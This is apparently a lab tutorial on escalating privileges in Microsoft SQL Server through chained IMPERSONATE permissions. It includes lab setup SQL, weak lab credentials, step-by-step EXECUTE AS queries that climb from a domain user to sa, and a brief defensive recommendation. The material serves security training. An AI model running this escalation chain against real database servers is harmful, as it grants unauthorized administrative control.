Impersonation

SQL Server has a special permission, named impersonate, this enables one user to operate with the permissions of another user as well as their own permissions.

Configuring

Prerequisite

Normal domain user access

Configuring

Login to WEB01 as the Administrator user with password Welcome01!.
Open "Microsoft SQL Server Management Studio"

3. Login with the Administrator user using Windows Authentication.

4. Click “New Query” button and use the SQL query below to create two new users:

CREATE LOGIN Developer WITH PASSWORD = 'MyPassword!';
CREATE LOGIN Developer_test WITH PASSWORD = 'MyPassword!';

5. Run the following Query to allow impersonation:

GRANT IMPERSONATE ON LOGIN::Developer to [AMSTERDAM\Richard];
GRANT IMPERSONATE ON LOGIN::Developer_test to [Developer];
GRANT IMPERSONATE ON LOGIN::sa to [Developer_test];

Attacking

How it works

SQL Server has a special permission, named impersonate, this enables one user to operate with the permissions of another user as well as their own permissions. For example: user A can impersonate user B which can impersonate user C which can impersonate sa. This can be used to escalate privileges.

Tools

HeidiSQL

Executing the attack

Login to WS01 as Richard with the password Sample123.
Download and start heidiSQL.
Click on "New" on the left bottom and configure the following settings:

Network Type: Microsoft SQL Server (TCP/IP)
Library: SQLOLEDB
Hostname / IP: WEB01.amsterdam.bank.local
Select: "Use Windows Authentication"
Port: 1433

4. Click "OK" on the security Issue warning.

5. Click on the "Query" tab and enter the following Query to check which users can be impersonated by the current user.

-- Find users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

We can impersonate the Developer user.

6. Impersonate the Developer user with the following query.

EXECUTE AS LOGIN = 'developer'

Make sure the Master database is selected since the developer user doesn't have access to the production database.

7. Execute the who can be impersonated query again.

8. Impersonate the user sa.

EXECUTE AS LOGIN = 'sa'

Hmm that doesn't work, lets impersonate Developer_test

8. Impersonate Developer_test.

EXECUTE AS LOGIN = 'Developer_test'

9. Execute the who can be impersonated query again:

10. Impersonate sa.

EXECUTE AS LOGIN = 'sa'

Now no error:

We successfully impersonated Developer --> Developer_test --> sa.

Check the executing commands page under SQL Server Attacks to read how to execute cmd commands:

Executing Commands

Defending

Recommendations

Use signed stored procedures that have been assigned access to external objects. This seems like the most secure option with the least amount of management overhead. Similar to the EXECUTE WITH option, this can result in escalation paths if the store procedure is vulnerable to SQL injection, or is simply written to allow users to take arbitrary actions. More information at http://msdn.microsoft.com/en-us/library/bb283630.aspx.